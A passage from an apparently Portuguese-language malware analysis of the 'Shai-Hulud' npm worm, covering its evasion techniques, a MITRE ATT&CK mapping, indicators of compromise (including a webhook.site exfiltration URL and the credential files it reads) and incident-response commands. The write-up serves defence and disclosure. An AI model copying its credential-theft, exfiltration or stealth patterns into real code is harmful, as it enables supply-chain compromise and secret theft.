         ├── Token GitHub em texto puro
         ├── Todos os secrets AWS
         ├── Todos os secrets GCP
         ├── Resultados do TruffleHog
         └── Token NPM em texto puro
         │
8. process.exit(0) — sem erros, sem logs

Técnicas de Evasão Identificadas

TécnicaImplementação
Execução em background totalspawn() com detached: true + stdio: "ignore" + .unref() — processo sobrevive ao pai, sem output
Falha silenciosaTodo catch é vazio ou retorna null/[] — nunca lança exceção visível
AutodestruiçãoBinário do TruffleHog é removido (unlinkSync) após scan
Branch separadoWorkflow injetado no branch shai-hulud, não no default — invisível no GitHub Actions UI
Remoção de evidênciasScript de migração remove .github/workflows antes do push
User-agent legítimoNpmModule usa "npm/9.2.0 node/v..." para parecer cliente npm real
Token type filteringSó prossegue com tokens ghp_ (classic PAT) e gho_ (OAuth) — ignora tokens fine-grained
Plataforma seletivaGitHub + NPM só executam em Linux/Mac — ignora Windows (ambientes menos comuns em CI/CD)
Rate limit handlingMigração dorme 10 minutos (sleep 600) em secondary rate limit e retry
Duplo base64Dados no data.json são double-encoded — ofuscação básica
Código nunca toca discoScript principal roda como webpack bundle em memória; bash scripts são os únicos artefatos em disco (em /tmp)

Mapeamento MITRE ATT&CK

TáticaTécnicaImplementação
Initial AccessT1195.002 — Supply Chain CompromiseInjeção em pacotes NPM legítimos via npm publish
ExecutionT1059.004 — Unix ShellScripts bash executados via spawn() com detached: true
ExecutionT1059.007 — JavaScriptWebpack bundle executado via Node.js (postinstall)
PersistenceT1053 — Scheduled Task (via GitHub Actions)Workflow shai-hulud-workflow.yml injetado, dispara em push
PersistenceT1505.003 — Web Shell (via GitHub Actions)Workflow malicioso persiste como código legítimo no repositório
Credential AccessT1552.001 — Credentials in Files~/.aws/credentials, ~/.aws/config, ~/.git-credentials
Credential AccessT1552.004 — Private KeysLeitura de ~/.ssh/id_*
Credential AccessT1555.003 — Cloud Secrets ManagerAWS Secrets Manager, GCP Secret Manager
Credential AccessT1528 — Steal Application Access TokenGITHUB_TOKEN, NPM_TOKEN, gh auth token
DiscoveryT1082 — System Information DiscoverygetSystemInfo() — OS, arch
DiscoveryT1526 — Cloud Service DiscoveryVarredura de 14 regiões AWS + projects GCP
DiscoveryT1087.003 — Cloud Account DiscoveryGetCallerIdentity, getProjectId, getOrgs
DiscoveryT1613 — Container and Resource DiscoveryScan de filesystem com TruffleHog
CollectionT1213 — Data from Information Repositoriesprocess.env, secrets managers, scan de código-fonte
CollectionT1005 — Data from Local Systemprocess.env, ~/.aws/*, ~/.ssh/*, TruffleHog scan
ExfiltrationT1041 — Exfiltration Over C2 Channelcurl -d → webhook.site, git push --mirror, repo público “Shai-Hulud”
ExfiltrationT1537 — Transfer Data to Cloud AccountMigração de repositórios para conta do atacante
ImpactT1485 — Data DestructionRemove .github/workflows dos repositórios roubados
Defense EvasionT1070.004 — File DeletionRemove binário TruffleHog, diretórios temporários
Defense EvasionT1036.005 — MasqueradingNome “Shai-Hulud”, “processor.sh” (nome genérico)
Defense EvasionT1027.009 — Embedded PayloadsBash scripts embutidos como strings em módulos webpack
Command and ControlT1105 — Ingress Tool TransferDownload do TruffleHog via GitHub Releases (oficial)
Resource DevelopmentT1583.001 — Domainswebhook.site (gratuito, anônimo)
Resource DevelopmentT1584.004 — ServerRepositório GitHub “Shai-Hulud” como dead drop

Indicadores de Comprometimento (IoCs)

Rede

IndicadorTipoContexto
https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7URLExfiltração de GitHub Actions secrets
https://api.github.com/repos/trufflesecurity/trufflehog/releases/latestURLDownload do TruffleHog (domínio legítimo, uso malicioso)
https://registry.npmjs.orgURLAcesso ao registry NPM (domínio legítimo, uso malicioso)
169.254.169.254IPIMDS AWS (legítimo, mas usado para roubo de credenciais)
169.254.170.2IPECS Task metadata endpoint
metadata.google.internalHostnameMetadata server GCP

Filesystem

CaminhoDescrição
/tmp/processor.shScript de injeção de workflow
/tmp/migrate-repos.shScript de migração de repositórios
/tmp/github-migration/Diretório temporário de migração
/tmp/npm-update-*Diretório temporário de atualização NPM
trufflehog / trufflehog.exe (CWD)Binário do TruffleHog (removido após scan)
*.tar.gz (CWD)Tarball do TruffleHog (removido após extração)

GitHub

IndicadorDescrição
Branch shai-huludBranch criado em repositórios da vítima
.github/workflows/shai-hulud-workflow.ymlWorkflow malicioso injetado
Repositório Shai-Hulud (público)Dead drop com dados exfiltrados
Repositórios *-migration (públicos)Código-fonte roubado
Descrição "Shai-Hulud Repository."Descrição do repo dead drop
Descrição "Shai-Hulud Migration"Descrição dos repos migrados

Processo

IndicadorDescrição
node bundle.jsScript postinstall injetado em pacotes NPM
trufflehog filesystem . --json --results=verifiedComando de scan executado
npm publishPublicação de pacote infectado
gh auth tokenRoubo de token via GitHub CLI

Resposta a Incidente

Se o bundle.js foi executado em sua máquina:

1. Revogar imediatamente:

2. Verificar GitHub:

# Verificar branches "shai-hulud" nos seus repositórios
gh repo list --limit 100 --json nameWithOwner | jq -r '.[].nameWithOwner' | \
  while read repo; do
    gh api "repos/$repo/git/refs/heads/shai-hulud" 2>/dev/null && \
      echo "INFECTED: $repo"
  done

# Verificar workflows maliciosos
gh search code ".github/workflows/shai-hulud-workflow.yml" --owner SEU_USER

3. Verificar repositórios migrados:

4. Verificar AWS:

# CloudTrail: chamadas ListSecrets e GetSecretValue nas 14 regiões
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ListSecrets

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue

5. Verificar GCP:

# Audit Logs: chamadas SecretManager.ListSecrets e AccessSecretVersion
gcloud logging read \
  'protoPayload.methodName="google.cloud.secretmanager.v1.SecretManagerService.ListSecrets"' \
  --limit=50

gcloud logging read \
  'protoPayload.methodName="google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion"' \
  --limit=50

6. Verificar NPM:

# Listar pacotes publicados recentemente
npm search --search=SEU_USERNAME --json

# Verificar versões suspeitas (patch bump inesperado)
npm view SEU_PACOTE versions --json

7. Limpeza de artefatos:

rm -f /tmp/processor.sh /tmp/migrate-repos.sh
rm -rf /tmp/github-migration/ /tmp/npm-update-*

O Que Torna Este Malware Notável

  1. Cinco vetores simultâneos: Nenhum é dependente do outro. Se um falha, os outros continuam.

  2. Uso de ferramentas legítimas: TruffleHog é baixado da release oficial do GitHub. Os SDKs AWS e GCP são os pacotes npm oficiais. Impossível detectar por assinatura de binário.

  3. Persistência indireta: O workflow injetado nos repositórios é uma bomba-relógio. Mesmo que o malware original seja removido, o workflow continua lá — e dispara no próximo push.

  4. Supply chain recursivo: O updatePackage não só injeta o bundle nos pacotes do maintainer, como também adiciona postinstall. Cada vítima que instala o pacote infectado executa o bundle — que por sua vez injeta o workflow e rouba mais tokens.

  5. Background total: detached: true + unref() significa que os scripts bash continuam rodando depois que o Node termina. Matar o processo Node não interrompe a migração de repositórios.

  6. Limpeza pós-execução: TruffleHog é removido, tarballs são deletados, diretórios temporários são limpos. O único artefato persistente é o workflow injetado — que parece legítimo.

  7. Nomenclatura temática: “Shai-Hulud” (Duna/Frank Herbert) — os vermes da areia que consomem tudo. O atacante tem senso de humor.


Como Se Proteger

Prevenção

Detecção


Conclusão (ou “Pensamentos em Voz Alta do Semi-analfabeto que vos Escreve”)

O que esse malware demonstra, tecnicamente:

O Ecossistema Exposto

Este malware explora uma interseção específica de ecossistemas que raramente são considerados juntos em modelos de ameaça:

  1. GitHub Actions secrets — frequentemente contêm credenciais de deploy, tokens de acesso, chaves de API
  2. NPM registry — o vetor de propagação, abusando da confiança no postinstall
  3. AWS + GCP Secrets Managers — o destino final: credenciais de produção em texto puro
  4. GitHub CLI (gh) — instalado em máquinas de desenvolvedor, fornece token sem precisar de env var

A combinação desses quatro ecossistemas em um único payload é o que torna este malware particularmente perigoso: ele não ataca um sistema — ataca toda a cadeia de desenvolvimento e deploy.


Shouts para:

Voltar